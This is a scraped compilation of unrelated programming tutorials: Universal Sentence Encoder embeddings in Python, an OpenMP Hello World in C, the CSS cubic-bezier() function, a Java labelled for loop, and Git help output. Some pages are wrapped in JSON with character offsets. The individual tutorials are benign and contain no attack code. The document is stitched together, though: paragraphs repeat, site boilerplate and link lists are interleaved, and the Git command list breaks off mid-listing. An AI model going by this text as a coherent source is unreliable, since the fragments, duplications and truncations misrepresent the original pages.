[ { "code": null, "e": 23901, "s": 23873, "text": "\n26 Mar, 2021" }, { "code": null, "e": 24297, "s": 23901, "text": "Unlike the word embedding techniques in which you represent word into vectors, in Sentence Embeddings entire sentence or text along with its semantics information is mapped into vectors of real numbers. This technique makes it possible to understand and process useful information of an entire text, which can then be used in understanding the context or meaning of the sentence in a better way." }, { "code": null, "e": 24415, "s": 24297, "text": "In this article, you will learn about how to create vectors for a complete sentence using Universal Sentence Encoder." }, { "code": null, "e": 24428, "s": 24415, "text": "For example:" }, { "code": null, "e": 24460, "s": 24428, "text": "Let’s consider two sentences: –" }, { "code": null, "e": 24494, "s": 24460, "text": "How old are you?What is your age?" }, { "code": null, "e": 24511, "s": 24494, "text": "How old are you?" }, { "code": null, "e": 24529, "s": 24511, "text": "What is your age?" }, { "code": null, "e": 24918, "s": 24529, "text": "The above two sentences are similar in meaning i.e. we are trying to ask the person’s age. In the above two sentences, individual words and their vectors will not give a good insight into what a complete sentence is trying to convey, nor they will be able to classify if these two sentences are similar or not. So in such scenarios Sentence embeddings perform better than word embeddings." }, { "code": null, "e": 25028, "s": 24918, "text": "There are various Sentence embeddings techniques like Doc2Vec, SentenceBERT, Universal Sentence Encoder, etc." }, { "code": null, "e": 25457, "s": 25028, "text": "Universal Sentence Encoder encodes entire sentence or text into vectors of real numbers that can be used for clustering, sentence similarity, text classification, and other Natural language processing (NLP) tasks. The pre-trained model is available here under Apache-2.0 License. The pre-trained model is trained on greater than word length text, sentences, phrases, paragraphs, etc using a deep averaging network (DAN) encoder." }, { "code": null, "e": 25530, "s": 25457, "text": "Implementation of sentence embeddings using Universal Sentence Encoder: " }, { "code": null, "e": 25625, "s": 25530, "text": "Run these command before running the code in your terminal to install the necessary libraries." }, { "code": null, "e": 25657, "s": 25625, "text": "pip install “tensorflow>=2.0.0”" }, { "code": null, "e": 25693, "s": 25657, "text": "pip install –upgrade tensorflow-hub" }, { "code": null, "e": 25702, "s": 25693, "text": "Program:" }, { "code": null, "e": 25710, "s": 25702, "text": "Python3" }, { "code": "# import necessary librariesimport tensorflow_hub as hub # Load pre-trained universal sentence encoder modelembed = hub.load(\"https://tfhub.dev/google/universal-sentence-encoder/4\") # Sentences for which you want to create embeddings,# passed as an array in embed()Sentences = [ \"How old are you\", \"What is your age\", \"I love to watch Television\", \"I am wearing a wrist watch\"]embeddings = embed(Sentences) # Printing embeddings of each sentenceprint(embeddings) # To print each embeddings along with its corresponding # sentence below code can be used.for i in range(len(Sentences)): print(Sentences[i]) print(embeddings[i])", "e": 26358, "s": 25710, "text": null }, { "code": null, "e": 26367, "s": 26358, "text": "Output: " }, { "code": null, "e": 26378, "s": 26367, "text": "tf.Tensor(" }, { "code": null, "e": 26444, "s": 26378, "text": "[[-0.06045125 -0.00204541 0.02656925 ... 0.00764413 -0.02669661" }, { "code": null, "e": 26459, "s": 26444, "text": " 0.05110302]" }, { "code": null, "e": 26525, "s": 26459, "text": " [-0.08415682 -0.08687923 0.03446117 ... -0.01439389 -0.04546221" }, { "code": null, "e": 26540, "s": 26525, "text": " 0.03639965]" }, { "code": null, "e": 26606, "s": 26540, "text": " [ 0.0816019 -0.01570276 -0.05659245 ... -0.07133699 0.11040762" }, { "code": null, "e": 26621, "s": 26606, "text": " -0.0071095 ]" }, { "code": null, "e": 26686, "s": 26621, "text": " [-0.00369539 0.03064634 -0.05556112 ... 0.01751423 0.0316496" }, { "code": null, "e": 26734, "s": 26686, "text": " -0.05139377]], shape=(4, 512), dtype=float32)" }, { "code": null, "e": 26747, "s": 26734, "text": "Explanation:" }, { "code": null, "e": 26862, "s": 26747, "text": "The above output represents input sentences into their corresponding vectors using the Universal Sentence encoder." }, { "code": null, "e": 26890, "s": 26862, "text": "Natural-language-processing" }, { "code": null, "e": 26897, "s": 26890, "text": "Python" }, { "code": null, "e": 26995, "s": 26897, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27004, "s": 26995, "text": "Comments" }, { "code": null, "e": 27017, "s": 27004, "text": "Old Comments" }, { "code": null, "e": 27049, "s": 27017, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27105, "s": 27049, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27147, "s": 27105, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27189, "s": 27147, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27225, "s": 27189, "text": "Python | Pandas dataframe.groupby()" }, { "code": null, "e": 27247, "s": 27225, "text": "Defaultdict in Python" }, { "code": null, "e": 27286, "s": 27247, "text": "Python | Get unique values from a list" }, { "code": null, "e": 27313, "s": 27286, "text": "Python Classes and Objects" }, { "code": null, "e": 27344, "s": 27313, "text": "Python | os.path.join() method" } ]
OpenMP | Hello World program - GeeksforGeeks
29 Jun, 2021 Prerequisite: OpenMP | Introduction with Installation GuideIn C/C++/Fortran, parallel programming can be achieved using OpenMP. In this article, we will learn how to create a parallel Hello World Program using OpenMP.STEPS TO CREATE A PARALLEL PROGRAM Include the header file: We have to include the OpenMP header for our program along with the standard header files. Include the header file: We have to include the OpenMP header for our program along with the standard header files. //OpenMP header #include <omp.h> Specify the parallel region: In OpenMP, we need to mention the region which we are going to make it as parallel using the keyword pragma omp parallel. The pragma omp parallel is used to fork additional threads to carry out the work enclosed in the parallel. The original thread will be denoted as the master thread with thread ID 0. Code for creating a parallel region would be, Specify the parallel region: In OpenMP, we need to mention the region which we are going to make it as parallel using the keyword pragma omp parallel. The pragma omp parallel is used to fork additional threads to carry out the work enclosed in the parallel. The original thread will be denoted as the master thread with thread ID 0. Code for creating a parallel region would be, #pragma omp parallel { //Parallel region code } So, here we include So, here we include #pragma omp parallel { printf("Hello World... from thread = %d\n", omp_get_thread_num()); } Set the number of threads: we can set the number of threads to execute the program using the external variable. Set the number of threads: we can set the number of threads to execute the program using the external variable. export OMP_NUM_THREADS=5 Diagram of parallel region Diagram of parallel region As per the above figure, Once the compiler encounters the parallel regions code, the master thread(thread which has thread id 0) will fork into the specified number of threads. Here it will get forked into 5 threads because we will initialise the number of threads to be executed as 5, using the command export OMP_NUM_THREADS=5. Entire code within the parallel region will be executed by all threads concurrently. Once the parallel region ended, all threads will get merged into the master thread. Compile and Run: Compile: As per the above figure, Once the compiler encounters the parallel regions code, the master thread(thread which has thread id 0) will fork into the specified number of threads. Here it will get forked into 5 threads because we will initialise the number of threads to be executed as 5, using the command export OMP_NUM_THREADS=5. Entire code within the parallel region will be executed by all threads concurrently. Once the parallel region ended, all threads will get merged into the master thread. Compile and Run: Compile: gcc -o hello -fopenmp hello.c Execute: Execute: ./hello Below is the complete program with the output of the above approach:Program: Since we specified the number of threads to be executed as 5, 5 threads will execute the same print statement at the same point of time. Here we can’t assure the order of execution of threads, i.e Order of statement execution in the parallel region won’t be the same for all executions. In the below picture, while executing the program for first-time thread 1 gets completed first whereas, in the second run, thread 0 completed first. omp_get_thread_num() will return the thread number associated with the thread. OpenMP Hello World program // OpenMP program to print Hello World// using C language // OpenMP header#include <omp.h> #include <stdio.h>#include <stdlib.h> int main(int argc, char* argv[]){ // Beginning of parallel region #pragma omp parallel { printf("Hello World... from thread = %d\n", omp_get_thread_num()); } // Ending of parallel region} Output: When run for 1st time: When run for multiple time: Order of execution of threads changes every time. abhishek0719kadiyan OpenMP Articles C Language C++ CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Analysis of Algorithms | Set 1 (Asymptotic Analysis) Time Complexity and Space Complexity Mutex vs Semaphore Analysis of Algorithms | Set 3 (Asymptotic Notations) Analysis of Algorithms | Set 2 (Worst, Average and Best Cases) Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc() Arrays in C/C++ std::sort() in C++ STL Bitwise Operators in C/C++ Multidimensional Arrays in C / C++
[ { "code": null, "e": 24554, "s": 24526, "text": "\n29 Jun, 2021" }, { "code": null, "e": 24808, "s": 24554, "text": "Prerequisite: OpenMP | Introduction with Installation GuideIn C/C++/Fortran, parallel programming can be achieved using OpenMP. In this article, we will learn how to create a parallel Hello World Program using OpenMP.STEPS TO CREATE A PARALLEL PROGRAM " }, { "code": null, "e": 24926, "s": 24808, "text": "Include the header file: We have to include the OpenMP header for our program along with the standard header files. " }, { "code": null, "e": 25044, "s": 24926, "text": "Include the header file: We have to include the OpenMP header for our program along with the standard header files. " }, { "code": null, "e": 25077, "s": 25044, "text": "//OpenMP header\n#include <omp.h>" }, { "code": null, "e": 25459, "s": 25077, "text": " Specify the parallel region: In OpenMP, we need to mention the region which we are going to make it as parallel using the keyword pragma omp parallel. The pragma omp parallel is used to fork additional threads to carry out the work enclosed in the parallel. The original thread will be denoted as the master thread with thread ID 0. Code for creating a parallel region would be, " }, { "code": null, "e": 25842, "s": 25461, "text": "Specify the parallel region: In OpenMP, we need to mention the region which we are going to make it as parallel using the keyword pragma omp parallel. The pragma omp parallel is used to fork additional threads to carry out the work enclosed in the parallel. The original thread will be denoted as the master thread with thread ID 0. Code for creating a parallel region would be, " }, { "code": null, "e": 25894, "s": 25842, "text": "#pragma omp parallel\n{\n //Parallel region code \n} " }, { "code": null, "e": 25916, "s": 25894, "text": "So, here we include " }, { "code": null, "e": 25938, "s": 25916, "text": "So, here we include " }, { "code": null, "e": 26067, "s": 25938, "text": "#pragma omp parallel \n{\n printf(\"Hello World... from thread = %d\\n\", \n omp_get_thread_num());\n} " }, { "code": null, "e": 26182, "s": 26067, "text": " Set the number of threads: we can set the number of threads to execute the program using the external variable. " }, { "code": null, "e": 26298, "s": 26184, "text": "Set the number of threads: we can set the number of threads to execute the program using the external variable. " }, { "code": null, "e": 26323, "s": 26298, "text": "export OMP_NUM_THREADS=5" }, { "code": null, "e": 26352, "s": 26323, "text": "Diagram of parallel region " }, { "code": null, "e": 26381, "s": 26352, "text": "Diagram of parallel region " }, { "code": null, "e": 26908, "s": 26381, "text": "As per the above figure, Once the compiler encounters the parallel regions code, the master thread(thread which has thread id 0) will fork into the specified number of threads. Here it will get forked into 5 threads because we will initialise the number of threads to be executed as 5, using the command export OMP_NUM_THREADS=5. Entire code within the parallel region will be executed by all threads concurrently. Once the parallel region ended, all threads will get merged into the master thread. Compile and Run: Compile: " }, { "code": null, "e": 27408, "s": 26908, "text": "As per the above figure, Once the compiler encounters the parallel regions code, the master thread(thread which has thread id 0) will fork into the specified number of threads. Here it will get forked into 5 threads because we will initialise the number of threads to be executed as 5, using the command export OMP_NUM_THREADS=5. Entire code within the parallel region will be executed by all threads concurrently. Once the parallel region ended, all threads will get merged into the master thread. " }, { "code": null, "e": 27436, "s": 27408, "text": "Compile and Run: Compile: " }, { "code": null, "e": 27466, "s": 27436, "text": "gcc -o hello -fopenmp hello.c" }, { "code": null, "e": 27477, "s": 27466, "text": "Execute: " }, { "code": null, "e": 27488, "s": 27477, "text": "Execute: " }, { "code": null, "e": 27496, "s": 27488, "text": "./hello" }, { "code": null, "e": 28093, "s": 27500, "text": "Below is the complete program with the output of the above approach:Program: Since we specified the number of threads to be executed as 5, 5 threads will execute the same print statement at the same point of time. Here we can’t assure the order of execution of threads, i.e Order of statement execution in the parallel region won’t be the same for all executions. In the below picture, while executing the program for first-time thread 1 gets completed first whereas, in the second run, thread 0 completed first. omp_get_thread_num() will return the thread number associated with the thread. " }, { "code": null, "e": 28120, "s": 28093, "text": "OpenMP Hello World program" }, { "code": "// OpenMP program to print Hello World// using C language // OpenMP header#include <omp.h> #include <stdio.h>#include <stdlib.h> int main(int argc, char* argv[]){ // Beginning of parallel region #pragma omp parallel { printf(\"Hello World... from thread = %d\\n\", omp_get_thread_num()); } // Ending of parallel region}", "e": 28475, "s": 28120, "text": null }, { "code": null, "e": 28485, "s": 28475, "text": "Output: " }, { "code": null, "e": 28510, "s": 28485, "text": "When run for 1st time: " }, { "code": null, "e": 28592, "s": 28512, "text": "When run for multiple time: Order of execution of threads changes every time. " }, { "code": null, "e": 28616, "s": 28596, "text": "abhishek0719kadiyan" }, { "code": null, "e": 28623, "s": 28616, "text": "OpenMP" }, { "code": null, "e": 28632, "s": 28623, "text": "Articles" }, { "code": null, "e": 28643, "s": 28632, "text": "C Language" }, { "code": null, "e": 28647, "s": 28643, "text": "C++" }, { "code": null, "e": 28651, "s": 28647, "text": "CPP" }, { "code": null, "e": 28749, "s": 28651, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28758, "s": 28749, "text": "Comments" }, { "code": null, "e": 28771, "s": 28758, "text": "Old Comments" }, { "code": null, "e": 28824, "s": 28771, "text": "Analysis of Algorithms | Set 1 (Asymptotic Analysis)" }, { "code": null, "e": 28861, "s": 28824, "text": "Time Complexity and Space Complexity" }, { "code": null, "e": 28880, "s": 28861, "text": "Mutex vs Semaphore" }, { "code": null, "e": 28934, "s": 28880, "text": "Analysis of Algorithms | Set 3 (Asymptotic Notations)" }, { "code": null, "e": 28997, "s": 28934, "text": "Analysis of Algorithms | Set 2 (Worst, Average and Best Cases)" }, { "code": null, "e": 29075, "s": 28997, "text": "Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()" }, { "code": null, "e": 29091, "s": 29075, "text": "Arrays in C/C++" }, { "code": null, "e": 29114, "s": 29091, "text": "std::sort() in C++ STL" }, { "code": null, "e": 29141, "s": 29114, "text": "Bitwise Operators in C/C++" } ]
CSS | cubic-bezier() Function - GeeksforGeeks
04 Jan, 2022 The cubic-bezier() function is an inbuilt function in CSS which is used to defines a Cubic Bezier curve. A Bezier curve is a mathematically defined curve used in two-dimensional graphic applications like adobe illustrator, inkscape etc. The curve is defined by four points: the initial position and the terminating position i.e P0 and P3 respectively (which are called “anchors”) and two separate middle points i.e P1 and P2(which are called “handles”) in our example. Bezier curves are frequently used in computer graphics, animation, modeling etc.Syntax: cubic-bezier( x1, y1, x2, y2 ) Parameters: This function accepts four parameter which is mandatory. It contains a numeric value and the value of x1 and x2 lies between 0 to 1.Below program illustrates the cubic-bezier() function in CSS:Program: html <!DOCTYPE html><html> <head> <title>cubic-bezier function</title> <style> .geeks { width: 150px; height: 80px; background: green; transition: width 5s; transition-timing-function: cubic-bezier(0.3, 0.7, 1.0, 0.1); } div:hover { width:300px; } .gfg { font-size:40px; font-weight:bold; color:green; text-align:center; } h1 { text-align:center; } </style> </head> <body> <div class = "gfg">GeeksforGeeks</div> <h1>The cubic-bezier() Function</h1> <div class = "geeks"></div> </body></html> Output: Supported Browser: Google Chrome Internet Explorer Firefox Opera Safari Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. ysachin2314 clintra CSS-Functions Functions CSS HTML Web Technologies Functions HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to create footer to stay at the bottom of a Web page? How to update Node.js and NPM to next version ? Types of CSS (Cascading Style Sheet) Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to set the default value for an HTML <select> element ? How to update Node.js and NPM to next version ? How to set input type date in dd-mm-yyyy format using HTML ?
[ { "code": null, "e": 22519, "s": 22491, "text": "\n04 Jan, 2022" }, { "code": null, "e": 23078, "s": 22519, "text": "The cubic-bezier() function is an inbuilt function in CSS which is used to defines a Cubic Bezier curve. A Bezier curve is a mathematically defined curve used in two-dimensional graphic applications like adobe illustrator, inkscape etc. The curve is defined by four points: the initial position and the terminating position i.e P0 and P3 respectively (which are called “anchors”) and two separate middle points i.e P1 and P2(which are called “handles”) in our example. Bezier curves are frequently used in computer graphics, animation, modeling etc.Syntax: " }, { "code": null, "e": 23109, "s": 23078, "text": "cubic-bezier( x1, y1, x2, y2 )" }, { "code": null, "e": 23325, "s": 23109, "text": "Parameters: This function accepts four parameter which is mandatory. It contains a numeric value and the value of x1 and x2 lies between 0 to 1.Below program illustrates the cubic-bezier() function in CSS:Program: " }, { "code": null, "e": 23330, "s": 23325, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title>cubic-bezier function</title> <style> .geeks { width: 150px; height: 80px; background: green; transition: width 5s; transition-timing-function: cubic-bezier(0.3, 0.7, 1.0, 0.1); } div:hover { width:300px; } .gfg { font-size:40px; font-weight:bold; color:green; text-align:center; } h1 { text-align:center; } </style> </head> <body> <div class = \"gfg\">GeeksforGeeks</div> <h1>The cubic-bezier() Function</h1> <div class = \"geeks\"></div> </body></html>", "e": 24137, "s": 23330, "text": null }, { "code": null, "e": 24147, "s": 24137, "text": "Output: " }, { "code": null, "e": 24166, "s": 24147, "text": "Supported Browser:" }, { "code": null, "e": 24180, "s": 24166, "text": "Google Chrome" }, { "code": null, "e": 24198, "s": 24180, "text": "Internet Explorer" }, { "code": null, "e": 24206, "s": 24198, "text": "Firefox" }, { "code": null, "e": 24212, "s": 24206, "text": "Opera" }, { "code": null, "e": 24219, "s": 24212, "text": "Safari" }, { "code": null, "e": 24356, "s": 24219, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 24368, "s": 24356, "text": "ysachin2314" }, { "code": null, "e": 24376, "s": 24368, "text": "clintra" }, { "code": null, "e": 24390, "s": 24376, "text": "CSS-Functions" }, { "code": null, "e": 24400, "s": 24390, "text": "Functions" }, { "code": null, "e": 24404, "s": 24400, "text": "CSS" }, { "code": null, "e": 24409, "s": 24404, "text": "HTML" }, { "code": null, "e": 24426, "s": 24409, "text": "Web Technologies" }, { "code": null, "e": 24436, "s": 24426, "text": "Functions" }, { "code": null, "e": 24441, "s": 24436, "text": "HTML" }, { "code": null, "e": 24539, "s": 24441, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 24548, "s": 24539, "text": "Comments" }, { "code": null, "e": 24561, "s": 24548, "text": "Old Comments" }, { "code": null, "e": 24623, "s": 24561, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 24673, "s": 24623, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 24731, "s": 24673, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 24779, "s": 24731, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 24816, "s": 24779, "text": "Types of CSS (Cascading Style Sheet)" }, { "code": null, "e": 24878, "s": 24816, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 24928, "s": 24878, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 24988, "s": 24928, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 25036, "s": 24988, "text": "How to update Node.js and NPM to next version ?" } ]
Java labelled for loop
Following program is using labeled for loops. Live Demo public class Tester { public static void main(String args[]) { first: for (int i = 0; i < 3; i++) { for (int j = 0; j< 3; j++){ if(i == 1){ continue first; } System.out.print(" [i = " + i + ", j = " + j + "] "); } } System.out.println(); second: for (int i = 0; i < 3; i++) { for (int j = 0; j< 3; j++){ if(i == 1){ break second; } System.out.print(" [i = " + i + ", j = " + j + "] "); } } } } first is the label for first outermost for loop and continue first cause the loop to skip print statement if i = 1; second is the label for second outermost for loop and continue second cause the loop to break the loop.
[ { "code": null, "e": 1108, "s": 1062, "text": "Following program is using labeled for loops." }, { "code": null, "e": 1118, "s": 1108, "text": "Live Demo" }, { "code": null, "e": 1770, "s": 1118, "text": "public class Tester {\n public static void main(String args[]) {\n \n first:\n for (int i = 0; i < 3; i++) {\n for (int j = 0; j< 3; j++){\n if(i == 1){\n continue first;\n } \n System.out.print(\" [i = \" + i + \", j = \" + j + \"] \");\n }\n }\n \n System.out.println();\n\n second:\n for (int i = 0; i < 3; i++) {\n for (int j = 0; j< 3; j++){\n if(i == 1){\n break second;\n }\n \n System.out.print(\" [i = \" + i + \", j = \" + j + \"] \");\n }\n }\n }\n}" }, { "code": null, "e": 1886, "s": 1770, "text": "first is the label for first outermost for loop and continue first cause the loop to skip print statement if i = 1;" }, { "code": null, "e": 1990, "s": 1886, "text": "second is the label for second outermost for loop and continue second cause the loop to break the loop." } ]
Git Help
If you are having trouble remembering commands or options for commands, you can use Git help. There are a couple of different ways you can use the help command in command line: git command -help - See all the available options for the specific command git help --all - See all possible commands Let's go over the different commands. Any time you need some help remembering the specific option for a command, you can use git command -help: git commit -help usage: git commit [] [--] ... -q, --quiet suppress summary after successful commit -v, --verbose show diff in commit message template Commit message options -F, --file read message from file --author override author for commit --date override date for commit -m, --message commit message -c, --reedit-message reuse and edit message from specified commit -C, --reuse-message reuse message from specified commit --fixup use autosquash formatted message to fixup specified commit --squash use autosquash formatted message to squash specified commit --reset-author the commit is authored by me now (used with -C/-c/--amend) -s, --signoff add a Signed-off-by trailer -t, --template use specified template file -e, --edit force edit of commit --cleanup how to strip spaces and #comments from message --status include status in commit message template -S, --gpg-sign[=] GPG sign commit Commit contents options -a, --all commit all changed files -i, --include add specified files to index for commit --interactive interactively add files -p, --patch interactively add changes -o, --only commit only specified files -n, --no-verify bypass pre-commit and commit-msg hooks --dry-run show what would be committed --short show status concisely --branch show branch information --ahead-behind compute full ahead/behind values --porcelain machine-readable output --long show status in long format (default) -z, --null terminate entries with NUL --amend amend previous commit --no-post-rewrite bypass post-rewrite hook -u, --untracked-files[=] show untracked files, optional modes: all, normal, no. (Default: all) --pathspec-from-file read pathspec from file --pathspec-file-nul with --pathspec-from-file, pathspec elements are separated with NUL character Note: You can also use --help instead of -help to open the relevant Git manual page To list all possible commands, use the help --all command: Warning: This will display a very long list of commands $ git help --all See 'git help ' to read about a specific subcommand Main Porcelain Commands add Add file contents to the index am Apply a series of patches from a mailbox archive Create an archive of files from a named tree bisect Use binary search to find the commit that introduced a bug branch List, create, or delete branches bundle Move objects and refs by archive checkout Switch branches or restore working tree files cherry-pick Apply the changes introduced by some existing commits citool Graphical alternative to git-commit clean Remove untracked files from the working tree clone Clone a repository into a new directory commit Record changes to the repository describe Give an object a human readable name based on an available ref diff Show changes between commits, commit and working tree, etc fetch Download objects and refs from another repository format-patch Prepare patches for e-mail submission gc Cleanup unnecessary files and optimize the local repository gitk The Git repository browser grep Print lines matching a pattern gui A portable graphical interface to Git init Create an empty Git repository or reinitialize an existing one log Show commit logs maintenance Run tasks to optimize Git repository data merge Join two or more development histories together mv Move or rename a file, a directory, or a symlink notes Add or inspect object notes pull Fetch from and integrate with another repository or a local branch push Update remote refs along with associated objects range-diff Compare two commit ranges (e.g. two versions of a branch) rebase Reapply commits on top of another base tip reset Reset current HEAD to the specified state restore Restore working tree files revert Revert some existing commits rm Remove files from the working tree and from the index shortlog Summarize 'git log' output show Show various types of objects sparse-checkout Initialize and modify the sparse-checkout stash Stash the changes in a dirty working directory away status Show the working tree status submodule Initialize, update or inspect submodules switch Switch branches tag Create, list, delete or verify a tag object signed with GPG worktree Manage multiple working trees Ancillary Commands / Manipulators config Get and set repository or global options fast-export Git data exporter fast-import Backend for fast Git data importers filter-branch Rewrite branches mergetool Run merge conflict resolution tools to resolve merge conflicts pack-refs Pack heads and tags for efficient repository access prune Prune all unreachable objects from the object database reflog Manage reflog information remote Manage set of tracked repositories repack Pack unpacked objects in a repository replace Create, list, delete refs to replace objects Ancillary Commands / Interrogators annotate Annotate file lines with commit information blame Show what revision and author last modified each line of a file bugreport Collect information for user to file a bug report count-objects Count unpacked number of objects and their disk consumption difftool Show changes using common diff tools fsck Verifies the connectivity and validity of the objects in the database gitweb Git web interface (web frontend to Git repositories) help Display help information about Git instaweb Instantly browse your working repository in gitweb merge-tree Show three-way merge without touching index rerere Reuse recorded resolution of conflicted merges show-branch Show branches and their commits verify-commit Check the GPG signature of commits verify-tag Check the GPG signature of tags whatchanged Show logs with difference each commit introduces Interacting with Others archimport Import a GNU Arch repository into Git cvsexportcommit Export a single commit to a CVS checkout cvsimport Salvage your data out of another SCM people love to hate cvsserver A CVS server emulator for Git imap-send Send a collection of patches from stdin to an IMAP folder p4 Import from and submit to Perforce repositories quiltimport Applies a quilt patchset onto the current branch request-pull Generates a summary of pending changes send-email Send a collection of patches as emails svn Bidirectional operation between a Subversion repository and Git Low-level Commands / Manipulators apply Apply a patch to files and/or to the index checkout-index Copy files from the index to the working tree commit-graph Write and verify Git commit-graph files commit-tree Create a new commit object hash-object Compute object ID and optionally creates a blob from a file index-pack Build pack index file for an existing packed archive merge-file Run a three-way file merge merge-index Run a merge for files needing merging mktag Creates a tag object mktree Build a tree-object from ls-tree formatted text multi-pack-index Write and verify multi-pack-indexes pack-objects Create a packed archive of objects prune-packed Remove extra objects that are already in pack files read-tree Reads tree information into the index symbolic-ref Read, modify and delete symbolic refs unpack-objects Unpack objects from a packed archive update-index Register file contents in the working tree to the index update-ref Update the object name stored in a ref safely write-tree Create a tree object from the current index Low-level Commands / Interrogators cat-file Provide content or type and size information for repository objects cherry Find commits yet to be applied to upstream diff-files Compares files in the working tree and the index diff-index Compare a tree to the working tree or index diff-tree Compares the content and mode of blobs found via two tree objects for-each-ref Output information on each ref for-each-repo Run a Git command on a list of repositories get-tar-commit-id Extract commit ID from an archive created using git-archive ls-files Show information about files in the index and the working tree ls-remote List references in a remote repository ls-tree List the contents of a tree object merge-base Find as good common ancestors as possible for a merge name-rev Find symbolic names for given revs pack-redundant Find redundant pack files rev-list Lists commit objects in reverse chronological order rev-parse Pick out and massage parameters show-index Show packed archive index show-ref List references in a local repository unpack-file Creates a temporary file with a blob's contents var Show a Git logical variable verify-pack Validate packed Git archive files Low-level Commands / Syncing Repositories daemon A really simple server for Git repositories fetch-pack Receive missing objects from another repository http-backend Server side implementation of Git over HTTP send-pack Push objects over Git protocol to another repository update-server-info Update auxiliary info file to help dumb servers Low-level Commands / Internal Helpers check-attr Display gitattributes information check-ignore Debug gitignore / exclude files check-mailmap Show canonical names and email addresses of contacts check-ref-format Ensures that a reference name is well formed column Display data in columns credential Retrieve and store user credentials credential-cache Helper to temporarily store passwords in memory credential-store Helper to store credentials on disk fmt-merge-msg Produce a merge commit message interpret-trailers Add or parse structured information in commit messages mailinfo Extracts patch and authorship from a single e-mail message mailsplit Simple UNIX mbox splitter program merge-one-file The standard helper program to use with git-merge-index patch-id Compute unique ID for a patch sh-i18n Git's i18n setup code for shell scripts sh-setup Common Git shell script setup code stripspace Remove unnecessary whitespace External commands askyesno credential-helper-selector flow lfs Note: If you find yourself stuck in the list view, SHIFT + G to jump the end of the list, then q to exit the view. Show the possible options for the status command in command line: git Start the Exercise We just launchedW3Schools videos Get certifiedby completinga course today! If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail: [email protected] Your message has been sent to W3Schools.
[ { "code": null, "e": 95, "s": 0, "text": "If you are having trouble remembering commands or options for commands, you \ncan use Git help." }, { "code": null, "e": 178, "s": 95, "text": "There are a couple of different ways you can use the\nhelp command in command line:" }, { "code": null, "e": 257, "s": 178, "text": "git command -help - See \n all the available options for the specific command" }, { "code": null, "e": 304, "s": 257, "text": "git help --all - See all possible \n commands" }, { "code": null, "e": 343, "s": 304, "text": " Let's go over the different commands." }, { "code": null, "e": 450, "s": 343, "text": "Any time you need some help remembering the specific option for a \ncommand, you can use git command -help:" }, { "code": null, "e": 2788, "s": 450, "text": "git commit -help\nusage: git commit [] [--] ...\n\n -q, --quiet suppress summary after successful commit\n -v, --verbose show diff in commit message template\n\nCommit message options\n -F, --file read message from file\n --author override author for commit\n --date override date for commit\n -m, --message \n commit message\n -c, --reedit-message \n reuse and edit message from specified commit\n -C, --reuse-message \n reuse message from specified commit\n --fixup use autosquash formatted message to fixup specified commit\n --squash use autosquash formatted message to squash specified commit\n --reset-author the commit is authored by me now (used with -C/-c/--amend)\n -s, --signoff add a Signed-off-by trailer\n -t, --template \n use specified template file\n -e, --edit force edit of commit\n --cleanup how to strip spaces and #comments from message\n --status include status in commit message template\n -S, --gpg-sign[=]\n GPG sign commit\n\nCommit contents options\n -a, --all commit all changed files\n -i, --include add specified files to index for commit\n --interactive interactively add files\n -p, --patch interactively add changes\n -o, --only commit only specified files\n -n, --no-verify bypass pre-commit and commit-msg hooks\n --dry-run show what would be committed\n --short show status concisely\n --branch show branch information\n --ahead-behind compute full ahead/behind values\n --porcelain machine-readable output\n --long show status in long format (default)\n -z, --null terminate entries with NUL\n --amend amend previous commit\n --no-post-rewrite bypass post-rewrite hook\n -u, --untracked-files[=]\n show untracked files, optional modes: all, normal, no. (Default: all)\n --pathspec-from-file \n read pathspec from file\n --pathspec-file-nul with --pathspec-from-file, pathspec elements are separated with NUL character" }, { "code": null, "e": 2878, "s": 2788, "text": "Note: You can also use --help \n instead of -help to open the relevant Git \n manual page" }, { "code": null, "e": 2937, "s": 2878, "text": "To list all possible commands, use the help --all command:" }, { "code": null, "e": 2993, "s": 2937, "text": "Warning: This will display a very long list of commands" }, { "code": null, "e": 12808, "s": 2993, "text": "$ git help --all\nSee 'git help ' to read about a specific subcommand\n\nMain Porcelain Commands\n add Add file contents to the index\n am Apply a series of patches from a mailbox\n archive Create an archive of files from a named tree\n bisect Use binary search to find the commit that introduced a bug\n branch List, create, or delete branches\n bundle Move objects and refs by archive\n checkout Switch branches or restore working tree files\n cherry-pick Apply the changes introduced by some existing commits\n citool Graphical alternative to git-commit\n clean Remove untracked files from the working tree\n clone Clone a repository into a new directory\n commit Record changes to the repository\n describe Give an object a human readable name based on an available ref\n diff Show changes between commits, commit and working tree, etc\n fetch Download objects and refs from another repository\n format-patch Prepare patches for e-mail submission\n gc Cleanup unnecessary files and optimize the local repository\n gitk The Git repository browser\n grep Print lines matching a pattern\n gui A portable graphical interface to Git\n init Create an empty Git repository or reinitialize an existing one\n log Show commit logs\n maintenance 